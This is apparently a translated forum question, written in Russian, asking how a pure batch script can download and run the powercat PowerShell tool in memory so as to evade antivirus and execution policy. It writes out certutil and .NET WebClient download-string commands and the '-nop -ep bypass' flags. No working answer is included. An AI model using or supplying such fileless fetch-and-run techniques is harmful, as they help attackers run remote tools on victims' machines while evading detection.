В моем пакетном скрипте я пытаюсь загрузить и выполнить скрипт powershell удаленно. Вот URL:
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Я хочу загрузить файл в память (не касаясь диска) по нескольким причинам:
- Обходит AV обнаружение
- Обходит политику выполнения Powershell, поэтому нет необходимости в
powershell -nop -ep bypass
, который вызывает обнаружение AV - Не выбрасывает ненужные синтаксические ошибки
- Вы можете напрямую использовать функции, определенные внутри скрипта .ps1
Очевидно, я могу использовать certutil
:
certutil -urlcache -split -f <url>
, но я не хочу, чтобы файл попадал на диск, что может вызвать обнаружение AV.
То же самое можно сделать с помощью других языков, таких как PowerShell:
(New-Object Net.WebClient).DownloadString($url)
ИЛИ
(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Я знаю, что пакетный не лучший язык для этого, но Является ли это возможным? (Я хочу чистую партию )